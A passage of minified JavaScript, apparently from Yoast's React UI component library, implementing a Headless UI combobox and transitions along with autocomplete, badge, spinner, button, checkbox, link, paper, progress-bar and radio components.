m.value?m.value:"",m.comboboxState]),Le((([e],[t])=>{if(0===e&&1===t){let e=m.inputRef.current;if(!e)return;let t=e.value,{selectionStart:n,selectionEnd:a,selectionDirection:r}=e;e.value="",e.value=t,null!==r?e.setSelectionRange(n,a,r):e.setSelectionRange(n,a)}}),[m.comboboxState]);let h=(0,e.useRef)(!1),E=q((()=>{h.current=!0})),x=q((()=>{setTimeout((()=>{h.current=!1}))})),N=q((e=>{switch(b.current=!0,e.key){case ke.Backspace:case ke.Delete:if(0!==m.mode||!m.nullable)return;let t=e.currentTarget;v.requestAnimationFrame((()=>{""===t.value&&(f.onChange(null),m.optionsRef.current&&(m.optionsRef.current.scrollTop=0),f.goToOption(ie.Nothing))}));break;case ke.Enter:if(b.current=!1,0!==m.comboboxState||h.current)return;if(e.preventDefault(),e.stopPropagation(),null===m.activeOptionIndex)return void f.closeCombobox();f.selectActiveOption(),0===m.mode&&f.closeCombobox();break;case ke.ArrowDown:return b.current=!1,e.preventDefault(),e.stopPropagation(),H(m.comboboxState,{0:()=>{f.goToOption(ie.Next)},1:()=>{f.openCombobox()}});case ke.ArrowUp:return b.current=!1,e.preventDefault(),e.stopPropagation(),H(m.comboboxState,{0:()=>{f.goToOption(ie.Previous)},1:()=>{f.openCombobox(),v.nextFrame((()=>{m.value||f.goToOption(ie.Last)}))}});case ke.Home:if(e.shiftKey)break;return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(ie.First);case ke.PageUp:return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(ie.First);case ke.End:if(e.shiftKey)break;return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(ie.Last);case ke.PageDown:return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(ie.Last);case ke.Escape:return b.current=!1,0!==m.comboboxState?void 0:(e.preventDefault(),m.optionsRef.current&&!m.optionsPropsRef.current.static&&e.stopPropagation(),f.closeCombobox());case ke.Tab:if(b.current=!1,0!==m.comboboxState)return;0===m.mode&&f.selectActiveOption(),f.closeCombobox()}})),R=q((e=>{f.openCombobox(),null==c||c(e)})),w=q((()=>{b.current=!1})),T=F((()=>{if(m.labelId)return[m.labelId].join(" ")}),[m.labelId]),O=(0,e.useMemo)((()=>({open:0===m.comboboxState,disabled:m.disabled})),[m]);return fe({ourProps:{ref:y,id:i,role:"combobox",type:d,"aria-controls":null==(a=m.optionsRef.current)?void 0:a.id,"aria-expanded":m.disabled?void 0:0===m.comboboxState,"aria-activedescendant":null===m.activeOptionIndex||null==(r=m.options[m.activeOptionIndex])?void 0:r.id,"aria-multiselectable":1===m.mode||void 0,"aria-labelledby":T,"aria-autocomplete":"list",defaultValue:null!=(o=null!=(s=t.defaultValue)?s:void 0!==m.defaultValue?null==u?void 0:u(m.defaultValue):null)?o:m.defaultValue,disabled:m.disabled,onCompositionStart:E,onCompositionEnd:x,onKeyDown:N,onChange:R,onBlur:w},theirProps:p,slot:O,defaultTag:"input",name:"Combobox.Input"})})),Qe=ve((function(t,n){var a;let r=Ue("Combobox.Button"),s=ze("Combobox.Button"),o=le(r.buttonRef,n),l=B(),{id:i=`headlessui-combobox-button-${l}`,...c}=t,u=D(),d=q((e=>{switch(e.key){case ke.ArrowDown:return e.preventDefault(),e.stopPropagation(),1===r.comboboxState&&s.openCombobox(),u.nextFrame((()=>{var e;return null==(e=r.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case ke.ArrowUp:return e.preventDefault(),e.stopPropagation(),1===r.comboboxState&&(s.openCombobox(),u.nextFrame((()=>{r.value||s.goToOption(ie.Last)}))),u.nextFrame((()=>{var e;return null==(e=r.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case ke.Escape:return 0!==r.comboboxState?void 0:(e.preventDefault(),r.optionsRef.current&&!r.optionsPropsRef.current.static&&e.stopPropagation(),s.closeCombobox(),u.nextFrame((()=>{var e;return null==(e=r.inputRef.current)?void 0:e.focus({preventScroll:!0})})));default:return}})),p=q((e=>{if(Ee(e.currentTarget))return e.preventDefault();0===r.comboboxState?s.closeCombobox():(e.preventDefault(),s.openCombobox()),u.nextFrame((()=>{var e;return null==(e=r.inputRef.current)?void 0:e.focus({preventScroll:!0})}))})),m=F((()=>{if(r.labelId)return[r.labelId,i].join(" ")}),[r.labelId,i]),f=(0,e.useMemo)((()=>({open:0===r.comboboxState,disabled:r.disabled,value:r.value})),[r]);return fe({ourProps:{ref:o,id:i,type:re(t,r.buttonRef),tabIndex:-1,"aria-haspopup":"listbox","aria-controls":null==(a=r.optionsRef.current)?void 0:a.id,"aria-expanded":r.disabled?void 0:0===r.comboboxState,"aria-labelledby":m,disabled:r.disabled,onClick:p,onKeyDown:d},theirProps:c,slot:f,defaultTag:"button",name:"Combobox.Button"})})),Ye=ve((function(t,n){let a=B(),{id:r=`headlessui-combobox-label-${a}`,...s}=t,o=Ue("Combobox.Label"),l=ze("Combobox.Label"),i=le(o.labelRef,n);_((()=>l.registerLabel(r)),[r]);let c=q((()=>{var e;return null==(e=o.inputRef.current)?void 0:e.focus({preventScroll:!0})})),u=(0,e.useMemo)((()=>({open:0===o.comboboxState,disabled:o.disabled})),[o]);return fe({ourProps:{ref:i,id:r,onClick:c},theirProps:s,slot:u,defaultTag:"label",name:"Combobox.Label"})})),Ze=pe.RenderStrategy|pe.Static,Xe=ve((function(t,n){let a=B(),{id:r=`headlessui-combobox-options-${a}`,hold:s=!1,...o}=t,l=Ue("Combobox.Options"),i=le(l.optionsRef,n),c=Ce(),u=null!==c?c===Pe.Open:0===l.comboboxState;_((()=>{var e;l.optionsPropsRef.current.static=null!=(e=t.static)&&e}),[l.optionsPropsRef,t.static]),_((()=>{l.optionsPropsRef.current.hold=s}),[l.optionsPropsRef,s]),function({container:t,accept:n,walk:a,enabled:r=!0}){let s=(0,e.useRef)(n),o=(0,e.useRef)(a);(0,e.useEffect)((()=>{s.current=n,o.current=a}),[n,a]),_((()=>{if(!t||!r)return;let e=z(t);if(!e)return;let n=s.current,a=o.current,l=Object.assign((e=>n(e)),{acceptNode:n}),i=e.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,l,!1);for(;i.nextNode();)a(i.currentNode)}),[t,r,s,o])}({container:l.optionsRef.current,enabled:0===l.comboboxState,accept:e=>"option"===e.getAttribute("role")?NodeFilter.FILTER_REJECT:e.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT,walk(e){e.setAttribute("role","none")}});let d=F((()=>{var e,t;return null!=(t=l.labelId)?t:null==(e=l.buttonRef.current)?void 0:e.id}),[l.labelId,l.buttonRef.current]);return fe({ourProps:{"aria-labelledby":d,role:"listbox",id:r,ref:i},theirProps:o,slot:(0,e.useMemo)((()=>({open:0===l.comboboxState})),[l]),defaultTag:"ul",features:Ze,visible:u,name:"Combobox.Options"})})),Je=ve((function(t,n){var a,r;let s=B(),{id:o=`headlessui-combobox-option-${s}`,disabled:l=!1,value:i,...c}=t,u=Ue("Combobox.Option"),d=ze("Combobox.Option"),p=null!==u.activeOptionIndex&&u.options[u.activeOptionIndex].id===o,m=u.isSelected(i),f=(0,e.useRef)(null),y=L({disabled:l,value:i,domRef:f,textValue:null==(r=null==(a=f.current)?void 0:a.textContent)?void 0:r.toLowerCase()}),b=le(n,f),v=q((()=>d.selectOption(o)));_((()=>d.registerOption(o,y)),[y,o]);let g=(0,e.useRef)(!u.__demoMode);_((()=>{if(!u.__demoMode)return;let e=I();return e.requestAnimationFrame((()=>{g.current=!0})),e.dispose}),[]),_((()=>{if(0!==u.comboboxState||!p||!g.current||0===u.activationTrigger)return;let e=I();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=f.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[f,p,u.comboboxState,u.activationTrigger,u.activeOptionIndex]);let h=q((e=>{if(l)return e.preventDefault();v(),0===u.mode&&d.closeCombobox()})),E=q((()=>{if(l)return d.goToOption(ie.Nothing);d.goToOption(ie.Specific,o)})),x=Me(),N=q((e=>x.update(e))),R=q((e=>{!x.wasMoved(e)||l||p||d.goToOption(ie.Specific,o,0)})),w=q((e=>{!x.wasMoved(e)||l||!p||u.optionsPropsRef.current.hold||d.goToOption(ie.Nothing)})),T=(0,e.useMemo)((()=>({active:p,selected:m,disabled:l})),[p,m,l]);return fe({ourProps:{id:o,ref:b,role:"option",tabIndex:!0===l?void 0:-1,"aria-disabled":!0===l||void 0,"aria-selected":m,disabled:void 0,onClick:h,onFocus:E,onPointerEnter:N,onMouseEnter:N,onPointerMove:R,onMouseMove:R,onPointerLeave:w,onMouseLeave:w},theirProps:c,slot:T,defaultTag:"li",name:"Combobox.Option"})})),et=Object.assign(Ge,{Input:Ke,Button:Qe,Label:Ye,Options:Xe,Option:Je});function tt(){let t=(0,e.useRef)(!1);return _((()=>(t.current=!0,()=>{t.current=!1})),[]),t}function nt(e,...t){e&&t.length>0&&e.classList.add(...t)}function at(e,...t){e&&t.length>0&&e.classList.remove(...t)}function rt(e=""){return e.split(" ").filter((e=>e.trim().length>1))}let st=(0,e.createContext)(null);st.displayName="TransitionContext";var ot=(e=>(e.Visible="visible",e.Hidden="hidden",e))(ot||{});let lt=(0,e.createContext)(null);function it(e){return"children"in e?it(e.children):e.current.filter((({el:e})=>null!==e.current)).filter((({state:e})=>"visible"===e)).length>0}function ct(t,n){let a=L(t),r=(0,e.useRef)([]),s=tt(),o=D(),l=q(((e,t=me.Hidden)=>{let n=r.current.findIndex((({el:t})=>t===e));-1!==n&&(H(t,{[me.Unmount](){r.current.splice(n,1)},[me.Hidden](){r.current[n].state="hidden"}}),o.microTask((()=>{var e;!it(r)&&s.current&&(null==(e=a.current)||e.call(a))})))})),i=q((e=>{let t=r.current.find((({el:t})=>t===e));return t?"visible"!==t.state&&(t.state="visible"):r.current.push({el:e,state:"visible"}),()=>l(e,me.Unmount)})),c=(0,e.useRef)([]),u=(0,e.useRef)(Promise.resolve()),d=(0,e.useRef)({enter:[],leave:[],idle:[]}),p=q(((e,t,a)=>{c.current.splice(0),n&&(n.chains.current[t]=n.chains.current[t].filter((([t])=>t!==e))),null==n||n.chains.current[t].push([e,new Promise((e=>{c.current.push(e)}))]),null==n||n.chains.current[t].push([e,new Promise((e=>{Promise.all(d.current[t].map((([e,t])=>t))).then((()=>e()))}))]),"enter"===t?u.current=u.current.then((()=>null==n?void 0:n.wait.current)).then((()=>a(t))):a(t)})),m=q(((e,t,n)=>{Promise.all(d.current[t].splice(0).map((([e,t])=>t))).then((()=>{var e;null==(e=c.current.shift())||e()})).then((()=>n(t)))}));return(0,e.useMemo)((()=>({children:r,register:i,unregister:l,onStart:p,onStop:m,wait:u,chains:d})),[i,l,r,p,m,d,u])}function ut(){}lt.displayName="NestingContext";let dt=["beforeEnter","afterEnter","beforeLeave","afterLeave"];function pt(e){var t;let n={};for(let a of dt)n[a]=null!=(t=e[a])?t:ut;return n}let mt=pe.RenderStrategy,ft=ve((function(t,n){let{beforeEnter:a,afterEnter:r,beforeLeave:s,afterLeave:o,enter:l,enterFrom:i,enterTo:c,entered:u,leave:d,leaveFrom:p,leaveTo:m,...f}=t,y=(0,e.useRef)(null),b=le(y,n),v=f.unmount?me.Unmount:me.Hidden,{show:g,appear:h,initial:E}=function(){let t=(0,e.useContext)(st);if(null===t)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return t}(),[x,N]=(0,e.useState)(g?"visible":"hidden"),R=function(){let t=(0,e.useContext)(lt);if(null===t)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return t}(),{register:w,unregister:T}=R,O=(0,e.useRef)(null);(0,e.useEffect)((()=>w(y)),[w,y]),(0,e.useEffect)((()=>{if(v===me.Hidden&&y.current)return g&&"visible"!==x?void N("visible"):H(x,{hidden:()=>T(y),visible:()=>w(y)})}),[x,y,w,T,g,v]);let P=L({enter:rt(l),enterFrom:rt(i),enterTo:rt(c),entered:rt(u),leave:rt(d),leaveFrom:rt(p),leaveTo:rt(m)}),C=function(t){let n=(0,e.useRef)(pt(t));return(0,e.useEffect)((()=>{n.current=pt(t)}),[t]),n}({beforeEnter:a,afterEnter:r,beforeLeave:s,afterLeave:o}),S=A();(0,e.useEffect)((()=>{if(S&&"visible"===x&&null===y.current)throw new Error("Did you forget to passthrough the `ref` to the actual DOM node?")}),[y,x,S]);let F=E&&!h,M=!S||F||O.current===g?"idle":g?"enter":"leave",j=q((e=>H(e,{enter:()=>C.current.beforeEnter(),leave:()=>C.current.beforeLeave(),idle:()=>{}}))),B=q((e=>H(e,{enter:()=>C.current.afterEnter(),leave:()=>C.current.afterLeave(),idle:()=>{}}))),z=ct((()=>{N("hidden"),T(y)}),R);(function({container:e,direction:t,classes:n,onStart:a,onStop:r}){let s=tt(),o=D(),l=L(t);_((()=>{let t=I();o.add(t.dispose);let i=e.current;if(i&&"idle"!==l.current&&s.current)return t.dispose(),a.current(l.current),t.add(function(e,t,n,a){let r=n?"enter":"leave",s=I(),o=void 0!==a?function(e){let t={called:!1};return(...n)=>{if(!t.called)return t.called=!0,e(...n)}}(a):()=>{};"enter"===r&&(e.removeAttribute("hidden"),e.style.display="");let l=H(r,{enter:()=>t.enter,leave:()=>t.leave}),i=H(r,{enter:()=>t.enterTo,leave:()=>t.leaveTo}),c=H(r,{enter:()=>t.enterFrom,leave:()=>t.leaveFrom});return at(e,...t.enter,...t.enterTo,...t.enterFrom,...t.leave,...t.leaveFrom,...t.leaveTo,...t.entered),nt(e,...l,...c),s.nextFrame((()=>{at(e,...c),nt(e,...i),function(e,t){let n=I();if(!e)return n.dispose;let{transitionDuration:a,transitionDelay:r}=getComputedStyle(e),[s,o]=[a,r].map((e=>{let[t=0]=e.split(",").filter(Boolean).map((e=>e.includes("ms")?parseFloat(e):1e3*parseFloat(e))).sort(((e,t)=>t-e));return t}));if(s+o!==0){let a=n.addEventListener(e,"transitionend",(e=>{e.target===e.currentTarget&&(t(),a())}))}else t();n.add((()=>t())),n.dispose}(e,(()=>(at(e,...l),nt(e,...t.entered),o())))})),s.dispose}(i,n.current,"enter"===l.current,(()=>{t.dispose(),r.current(l.current)}))),t.dispose}),[t])})({container:y,classes:P,direction:M,onStart:L((e=>{z.onStart(y,e,j)})),onStop:L((e=>{z.onStop(y,e,B),"leave"===e&&!it(z)&&(N("hidden"),T(y))}))}),(0,e.useEffect)((()=>{!F||(v===me.Hidden?O.current=null:O.current=g)}),[g,F,x]);let $=f,U={ref:b};return h&&g&&k.isServer&&($={...$,className:ue(f.className,...P.current.enter,...P.current.enterFrom)}),e.createElement(lt.Provider,{value:z},e.createElement(Se,{value:H(x,{visible:Pe.Open,hidden:Pe.Closed})},fe({ourProps:U,theirProps:$,defaultTag:"div",features:mt,visible:"visible"===x,name:"Transition.Child"})))})),yt=ve((function(t,n){let{show:a,appear:r=!1,unmount:s,...o}=t,l=(0,e.useRef)(null),i=le(l,n);A();let c=Ce();if(void 0===a&&null!==c&&(a=H(c,{[Pe.Open]:!0,[Pe.Closed]:!1})),![!0,!1].includes(a))throw new Error("A <Transition /> is used but it is missing a `show={true | false}` prop.");let[u,d]=(0,e.useState)(a?"visible":"hidden"),p=ct((()=>{d("hidden")})),[m,f]=(0,e.useState)(!0),y=(0,e.useRef)([a]);_((()=>{!1!==m&&y.current[y.current.length-1]!==a&&(y.current.push(a),f(!1))}),[y,a]);let b=(0,e.useMemo)((()=>({show:a,appear:r,initial:m})),[a,r,m]);(0,e.useEffect)((()=>{if(a)d("visible");else if(it(p)){let e=l.current;if(!e)return;let t=e.getBoundingClientRect();0===t.x&&0===t.y&&0===t.width&&0===t.height&&d("hidden")}else d("hidden")}),[a,p]);let v={unmount:s};return e.createElement(lt.Provider,{value:p},e.createElement(st.Provider,{value:b},fe({ourProps:{...v,as:e.Fragment,children:e.createElement(ft,{ref:i,...v,...o})},theirProps:{},defaultTag:e.Fragment,features:mt,visible:"visible"===u,name:"Transition"})))})),bt=ve((function(t,n){let a=null!==(0,e.useContext)(st),r=null!==Ce();return e.createElement(e.Fragment,null,!a&&r?e.createElement(yt,{ref:n,...t}):e.createElement(ft,{ref:n,...t}))})),vt=Object.assign(yt,{Child:bt,Root:yt});const gt=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))})),ht=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M10 3a1 1 0 01.707.293l3 3a1 1 0 01-1.414 1.414L10 5.414 7.707 7.707a1 1 0 01-1.414-1.414l3-3A1 1 0 0110 3zm-3.707 9.293a1 1 0 011.414 0L10 14.586l2.293-2.293a1 1 0 011.414 1.414l-3 3a1 1 0 01-1.414 0l-3-3a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Et=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"}))})),xt={variant:{success:"yst-validation-input--success",warning:"yst-validation-input--warning",info:"yst-validation-input--info",error:"yst-validation-input--error"}},Nt=(0,l.forwardRef)((({as:t,validation:n={},className:a="",...s},o)=>(0,e.createElement)("div",{className:r()("yst-validation-input",(null==n?void 0:n.message)&&xt.variant[null==n?void 0:n.variant])},(0,e.createElement)(t,{ref:o,...s,className:r()("yst-validation-input__input",a)}),(null==n?void 0:n.message)&&(0,e.createElement)(g,{variant:null==n?void 0:n.variant,className:"yst-validation-input__icon"}))));Nt.propTypes={as:o().elementType.isRequired,validation:o().shape({variant:o().string,message:o().node}),className:o().string};const Rt=Nt,wt=(0,l.forwardRef)(((t,n)=>(0,e.createElement)(et.Button,{as:"div",ref:n,...t}))),Tt=({children:t,value:n})=>{const a=c(),s=(0,l.useCallback)((({active:e,selected:t})=>r()("yst-autocomplete__option",t&&"yst-autocomplete__option--selected",e&&!t&&"yst-autocomplete__option--active")),[]);return(0,e.createElement)(et.Option,{className:s,value:n},(({selected:n})=>(0,e.createElement)(l.Fragment,null,(0,e.createElement)("span",{className:r()("yst-autocomplete__option-label",n&&"yst-font-semibold")},t),n&&(0,e.createElement)(gt,{className:"yst-autocomplete__option-check",...a}))))},Ot={children:o().node,value:o().oneOfType([o().string,o().number,o().bool]).isRequired};Tt.propTypes=Ot;const Pt=({onChange:t,svgAriaProps:n,screenReaderText:a})=>{const r=(0,l.useCallback)((e=>{e.preventDefault(),t(null)}),[t]);return(0,e.createElement)("button",{type:"button",className:"yst-mr-4 yst-flex yst-items-center",onClick:r},(0,e.createElement)("span",{className:"yst-sr-only"},a),(0,e.createElement)(Et,{className:"yst-text-slate-400 yst-w-5 yst-h-5",...n}),(0,e.createElement)("div",{className:"yst-w-2 yst-mr-2 yst-border-r-slate-200 yst-border-r yst-h-7"}))};Pt.propTypes={onChange:o().func.isRequired,svgAriaProps:o().object.isRequired,screenReaderText:o().string.isRequired};const Ct=(0,l.forwardRef)((({id:t,value:n,children:a,selectedLabel:s,label:o,labelProps:u,labelSuffix:d,onChange:p,onQueryChange:m,validation:f,placeholder:y,className:b,buttonProps:v,clearButtonScreenReaderText:g,disabled:h,...E},x)=>{const N=(0,l.useCallback)((0,i.constant)(s),[s]),R=c();return(0,e.createElement)(et,{ref:x,as:"div",value:n,onChange:p,className:r()("yst-autocomplete",h&&"yst-autocomplete--disabled",b),disabled:h,...E},o&&(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-mb-2"},(0,e.createElement)(et.Label,{...u},o),d),(0,e.createElement)("div",{className:"yst-relative"},(0,e.createElement)(Rt,{as:wt,"data-id":t,validation:f,className:"yst-autocomplete__button",...v},(0,e.createElement)(et.Input,{className:"yst-autocomplete__input",autoComplete:"off",placeholder:y,displayValue:N,onChange:m}),E.nullable&&s&&(0,e.createElement)(Pt,{onChange:p,svgAriaProps:R,screenReaderText:g}),!(null!=f&&f.message)&&(0,e.createElement)(ht,{className:"yst-autocomplete__button-icon",...R})),(0,e.createElement)(vt,{as:l.Fragment,enter:"yst-transition yst-duration-100 yst-ease-out",enterFrom:"yst-transform yst-scale-95 yst-opacity-0",enterTo:"yst-transform yst-scale-100 yst-opacity-100",leave:"yst-transition yst-duration-75 yst-ease-out",leaveFrom:"yst-transform yst-scale-100 yst-opacity-100",leaveTo:"yst-transform yst-scale-95 yst-opacity-0"},(0,e.createElement)(et.Options,{className:"yst-autocomplete__options"},a))))}));Ct.Option=Tt,Ct.Option.displayName="Autocomplete.Option";const St={id:o().string.isRequired,value:o().oneOfType([o().string,o().number,o().bool]),children:o().node,selectedLabel:o().string,label:o().string,labelProps:o().object,labelSuffix:o().node,onChange:o().func.isRequired,onQueryChange:o().func.isRequired,validation:o().shape({variant:o().string,message:o().node}),placeholder:o().string,className:o().string,buttonProps:o().object,clearButtonScreenReaderText:o().string,disabled:o().bool};Ct.propTypes=St,Ct.defaultProps={children:null,value:null,selectedLabel:"",label:"",labelProps:{},labelSuffix:null,validation:{},placeholder:"",className:"",buttonProps:{},clearButtonScreenReaderText:"Clear",disabled:!1};const kt=Ct,_t=t=>(0,e.createElement)(Ct,{...t});_t.propTypes=St,_t.defaultProps=Ct.defaultProps,_t.displayName="Autocomplete";const Lt={variant:{info:"yst-badge--info",upsell:"yst-badge--upsell",plain:"yst-badge--plain"},size:{default:"",small:"yst-badge--small",large:"yst-badge--large"}},Ft=(0,l.forwardRef)((({children:t,as:n,variant:a,size:s,className:o,...l},i)=>(0,e.createElement)(n,{ref:i,className:r()("yst-badge",Lt.variant[a],Lt.size[s],o),...l},t))),Mt={children:o().node.isRequired,as:o().elementType,variant:o().oneOf(Object.keys(Lt.variant)),size:o().oneOf(Object.keys(Lt.size)),className:o().string};Ft.propTypes=Mt,Ft.defaultProps={as:"span",variant:"info",size:"default",className:""};const It=Ft,Dt=t=>(0,e.createElement)(Ft,{...t});Dt.propTypes=Mt,Dt.defaultProps=Ft.defaultProps,Dt.displayName="Badge";const qt={variant:{default:"",primary:"yst-text-primary-500",white:"yst-text-white"},size:{3:"yst-w-3 yst-h-3",4:"yst-w-4 yst-h-4",8:"yst-w-8 yst-h-8"}},At=(0,l.forwardRef)((({variant:t,size:n,className:a},s)=>{const o=c();return(0,e.createElement)("svg",{ref:s,xmlns:"http://www.w3.org/2000/svg/",fill:"none",viewBox:"0 0 24 24",className:r()("yst-animate-spin",qt.variant[t],qt.size[n],a),...o},(0,e.createElement)("circle",{className:"yst-opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),(0,e.createElement)("path",{className:"yst-opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}))})),jt={variant:o().oneOf((0,i.keys)(qt.variant)),size:o().oneOf((0,i.keys)(qt.size)),className:o().string};At.propTypes=jt,At.defaultProps={variant:"default",size:"4",className:""};const Bt=t=>(0,e.createElement)(At,{...t});Bt.propTypes=jt,Bt.defaultProps=At.defaultProps,Bt.displayName="Spinner";const Ht=At,zt={variant:{primary:"yst-button--primary",secondary:"yst-button--secondary",tertiary:"yst-button--tertiary",error:"yst-button--error",upsell:"yst-button--upsell"},size:{default:"",small:"yst-button--small",large:"yst-button--large","extra-large":"yst-button--extra-large"}},$t=(0,l.forwardRef)((({children:t,as:n,type:a,variant:s,size:o,isLoading:l,disabled:i,className:c,...u},d)=>(0,e.createElement)(n,{type:a||"button"===n&&"button"||void 0,disabled:i,ref:d,className:r()("yst-button",zt.variant[s],zt.size[o],l&&"yst-cursor-wait",i&&"yst-button--disabled",c),...u},l&&(0,e.createElement)(Ht,{size:"small"===o?"3":"4",className:"yst--ml-1 yst-mr-2"}),t))),Ut={children:o().node.isRequired,as:o().elementType,type:o().oneOf(["button","submit"]),variant:o().oneOf((0,i.keys)(zt.variant)),size:o().oneOf((0,i.keys)(zt.size)),isLoading:o().bool,disabled:o().bool,className:o().string};$t.propTypes=Ut,$t.defaultProps={as:"button",type:void 0,variant:"primary",size:"default",isLoading:!1,disabled:!1,className:""};const Vt=$t,Wt=t=>(0,e.createElement)($t,{...t});Wt.propTypes=Ut,Wt.defaultProps=$t.defaultProps,Wt.displayName="Button";const Gt=(0,l.forwardRef)((({as:t,className:n,label:a,children:s,...o},l)=>(0,e.createElement)(t,{ref:l,className:r()("yst-label",n),...o},a||s||null))),Kt={label:o().string,children:o().string,as:o().elementType,className:o().string};Gt.propTypes=Kt,Gt.defaultProps={label:"",children:"",as:"label",className:""};const Qt=t=>(0,e.createElement)(Gt,{...t});Qt.propTypes=Kt,Qt.defaultProps=Gt.defaultProps,Qt.displayName="Label";const Yt=Gt,Zt=(0,l.forwardRef)((({id:t,name:n,value:a,label:s,disabled:o,className:l,...i},c)=>(0,e.createElement)("div",{className:r()("yst-checkbox",o&&"yst-checkbox--disabled",l)},(0,e.createElement)("input",{ref:c,type:"checkbox",id:t,name:n,value:a,disabled:o,className:"yst-checkbox__input",...i}),(0,e.createElement)(Yt,{htmlFor:t,className:"yst-checkbox__label",label:s})))),Xt={id:o().string.isRequired,name:o().string.isRequired,value:o().string.isRequired,label:o().string.isRequired,className:o().string,disabled:o().bool};Zt.propTypes=Xt,Zt.defaultProps={className:""};const Jt=t=>(0,e.createElement)(Zt,{...t});Jt.propTypes=Xt,Jt.defaultProps=Zt.defaultProps,Jt.displayName="Checkbox";const en=Zt,tn={variant:{default:"",block:"yst-code--block"}},nn=(0,l.forwardRef)((({children:t,variant:n="default",className:a="",...s},o)=>(0,e.createElement)("code",{ref:o,className:r()("yst-code",tn.variant[n],a),...s},t))),an={children:o().node.isRequired,variant:o().oneOf(Object.keys(tn.variant)),className:o().string};nn.propTypes=an;const rn=t=>(0,e.createElement)(nn,{...t});rn.propTypes=an,rn.defaultProps=nn.defaultProps,rn.displayName="Code";const sn=nn,on=n(5948).ErrorBoundary,ln={variant:{default:"yst-link--default",primary:"yst-link--primary",error:"yst-link--error"}},cn=(0,l.forwardRef)((({as:t,variant:n,className:a,children:s,...o},l)=>(0,e.createElement)(t,{ref:l,className:r()("yst-link",ln.variant[n],a),...o},s))),un={children:o().node.isRequired,variant:o().oneOf(Object.keys(ln.variant)),as:o().elementType,className:o().string};cn.propTypes=un,cn.defaultProps={as:"a",variant:"default",className:""};const dn=t=>(0,e.createElement)(cn,{...t});dn.propTypes=un,dn.defaultProps=cn.defaultProps,dn.displayName="Link";const pn=cn,mn=({as:t,className:n,children:a})=>(0,e.createElement)(t,{className:r()("yst-paper__content",n)},a);mn.propTypes={as:o().node,className:o().string,children:o().node.isRequired},mn.defaultProps={as:"div",className:""};const fn=mn,yn=({as:t,className:n,children:a})=>(0,e.createElement)(t,{className:r()("yst-paper__header",n)},a);yn.propTypes={as:o().node,className:o().string,children:o().node.isRequired},yn.defaultProps={as:"header",className:""};const bn=yn,vn=(0,l.forwardRef)((({as:t="div",className:n="",children:a},s)=>(0,e.createElement)(t,{ref:s,className:r()("yst-paper",n)},a))),gn={as:o().node,className:o().string,children:o().node.isRequired};vn.propTypes=gn,vn.defaultProps={as:"div",className:""},vn.Header=bn,vn.Header.displayName="Paper.Header",vn.Content=fn,vn.Content.displayName="Paper.Content";const hn=t=>(0,e.createElement)(vn,{...t});hn.propTypes=gn,hn.defaultProps=vn.defaultProps,hn.displayName="Paper";const En=vn,xn=(0,l.forwardRef)((({min:t,max:n,progress:a,className:s,...o},i)=>{const c=(0,l.useMemo)((()=>a/(n-t)*100),[t,n,a]);return(0,e.createElement)("div",{ref:i,"aria-hidden":"true",className:r()("yst-progress-bar",s),...o},(0,e.createElement)("div",{className:"yst-progress-bar__progress",style:{width:`${c}%`}}))})),Nn={min:o().number.isRequired,max:o().number.isRequired,progress:o().number.isRequired,className:o().string};xn.propTypes=Nn,xn.defaultProps={className:""};const Rn=t=>(0,e.createElement)(xn,{...t});Rn.propTypes=Nn,Rn.defaultProps=xn.defaultProps,Rn.displayName="ProgressBar";const wn=xn,Tn=(0,l.forwardRef)((({id:t,name:n,value:a,label:s,screenReaderLabel:o,variant:l,disabled:i,className:d,isLabelDangerousHtml:p,...m},f)=>{const y=c();return"inline-block"===l?(0,e.createElement)("div",{className:r()("yst-radio","yst-radio--inline-block",i&&"yst-radio--disabled",d)},(0,e.createElement)("input",{type:"radio",id:t,name:n,value:a,disabled:i,className:"yst-radio__input","aria-label":o,...m}),(0,e.createElement)("span",{className:"yst-radio__content"},(0,e.createElement)(Yt,{htmlFor:t,className:"yst-radio__label",label:p?null:s,dangerouslySetInnerHTML:p?{__html:s}:null}),(0,e.createElement)(u,{className:"yst-radio__check",...y}))):(0,e.createElement)("div",{className:r()("yst-radio",i&&"yst-radio--disabled",d)},(0,e.createElement)("input",{ref:f,type:"radio",id:t,name:n,value:a,disabled:i,className:"yst-radio__input",...m}),(0,e.createElement)(Yt,{htmlFor:t,className:"yst-radio__label",label:p?null:s,dangerouslySetInnerHTML:p?{__html:s}:null}))})),On={name:o().string.isRequired,id:o().string.isRequired,value:o().string.isRequired,label:o().string.isRequired,isLabelDangerousHtml:o().bool,